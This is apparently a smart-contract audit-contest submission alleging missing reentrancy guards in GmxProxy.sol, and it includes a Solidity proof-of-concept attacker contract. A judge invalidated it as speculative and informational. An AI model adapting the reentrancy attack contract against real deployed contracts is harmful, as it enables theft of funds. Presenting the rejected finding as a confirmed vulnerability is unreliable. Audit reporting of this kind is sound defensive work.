DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Reentrancy Risk in GmxProxy.sol

Summary

GmxProxy.sol contains critical functions that perform external calls (e.g. order creation and callbacks) without explicit reentrancy protection. Although access is restricted to trusted callers (e.g. the perpetual vault and designated GMX handlers), the absence of reentrancy guards may allow an attacker to exploit unexpected reentrancy paths if trust assumptions are broken.

Vulnerability Details

Issue:
Critical functions such as createOrder, settle, afterOrderExecution, and afterOrderCancellation do not use a reentrancy guard (e.g. OpenZeppelin’s nonReentrant modifier) despite performing external calls.

  • Context:
    Although these functions are callable only by trusted addresses (e.g. perpVault), an attacker that compromises one of these trusted contracts or manipulates the control flow during an external call could reenter the function and corrupt internal state.

  • Inter‑Contract Considerations:
    The design assumes that only a trusted perpetual vault calls these functions; however, a failure in these assumptions could allow reentrancy attacks.

Impact

  • State Corruption:
    Reentrant calls could lead to unexpected state changes, such as duplicative order creation or cancellation.

  • Fund Loss:
    An attacker could potentially manipulate fund transfers, causing unauthorized ETH or token transfers.

  • Order Manipulation:
    Incorrect order parameter handling could lead to economic losses due to misconfigured orders.

Proof of concept (POC):

Overview

This PoC demonstrates how the lack of a reentrancy guard in critical functions of the GmxProxy contract (e.g. the cancelOrder function) could allow an attacker if the trusted caller (perpVault) is compromised to reenter and invoke the function multiple times. In this scenario, a malicious vault simulates the trusted caller and leverages the fallback mechanism to reenter the vulnerable function.

Actors

  • Attacker: The malicious vault contract that simulates a compromised trusted caller.

  • Victim: The vulnerable GmxProxy contract.

  • Protocol: The overall system expecting only controlled calls from the trusted perpVault.

Working Test Case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Interface representing the vulnerable portion of GmxProxy.
interface IGmxProxy {
function cancelOrder() external;
}
/// @notice A simplified version of the vulnerable GmxProxy contract without reentrancy protection.
contract VulnerableGmxProxy {
// State variable to track if an order has been cancelled.
bool public orderCancelled;
// The trusted address allowed to call vulnerable functions.
address public perpVault;
// Constructor sets the deployer as the initial perpVault.
constructor() {
perpVault = msg.sender; // Line 1: The deployer is assumed to be the trusted vault.
}
/// @notice Vulnerable function to cancel an order.
function cancelOrder() external {
// Line 2: Check that the caller is the trusted perpVault.
require(msg.sender == perpVault, "invalid caller");
// Line 3: Update state to indicate the order has been cancelled.
orderCancelled = true;
// Line 4: Make an external call back to the caller.
// This external call allows reentrancy if the caller is malicious.
(bool success, ) = msg.sender.call(abi.encodeWithSignature("trigger()"));
require(success, "external call failed");
}
}
/// @notice A malicious vault contract simulating the trusted perpVault that will perform a reentrancy attack.
contract MaliciousVault {
// Reference to the vulnerable GmxProxy.
VulnerableGmxProxy public proxy;
// Flags to track reentrancy.
bool public reentered;
bool public attackSuccessful;
// Constructor sets the proxy address.
constructor(address _proxy) {
proxy = VulnerableGmxProxy(_proxy);
}
/// @notice Initiates the attack by calling cancelOrder on the proxy.
function initiateAttack() external {
// Line 5: As the trusted vault, call cancelOrder.
proxy.cancelOrder();
}
/// @notice Function that will be triggered via the external call in cancelOrder.
function trigger() external {
// Line 6: Check if reentrancy has not yet occurred.
if (!reentered) {
reentered = true;
// Line 7: Reenter the vulnerable cancelOrder function.
proxy.cancelOrder();
}
// Line 8: Mark the attack as successful.
attackSuccessful = true;
}
}

Detailed Exploit Scenario

  1. Setup:

    • Deploy the VulnerableGmxProxy contract. The deployer becomes the trusted perpVault.

    • Deploy the MaliciousVault contract, providing it the address of the vulnerable proxy.

  2. Attack Execution:

    • The attacker (via the MaliciousVault) calls initiateAttack().

    • The proxy’s cancelOrder() is called by the trusted address (the malicious vault).

    • During the execution of cancelOrder(), the external call triggers the trigger() function in the malicious vault.

    • In trigger(), the malicious vault reenters cancelOrder() before the first execution completes, allowing duplicate state updates.

  3. Result:

    • The vulnerable function is executed twice, which could corrupt internal state or lead to unintended fund transfers if similar patterns occur in a real scenario.

Tools Used

Manual Code Review

Recommendations

  • Implement ReentrancyGuard:
    Inherit from OpenZeppelin’s ReentrancyGuard and mark vulnerable functions with the nonReentrant modifier.

  • Internal State Checks:
    Update critical state variables before making any external calls to prevent reentrant interference.

  • Defense in Depth:
    Even if access is restricted, adding reentrancy protection is a best practice to safeguard against future changes in trust assumptions.

Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Suppositions

There is no real proof, concrete root cause, specific impact, or enough details in those submissions. Examples include: "It could happen" without specifying when, "If this impossible case happens," "Unexpected behavior," etc. Make a Proof of Concept (PoC) using external functions and realistic parameters. Do not test only the internal function where you think you found something.

n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Suppositions

There is no real proof, concrete root cause, specific impact, or enough details in those submissions. Examples include: "It could happen" without specifying when, "If this impossible case happens," "Unexpected behavior," etc. Make a Proof of Concept (PoC) using external functions and realistic parameters. Do not test only the internal function where you think you found something.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.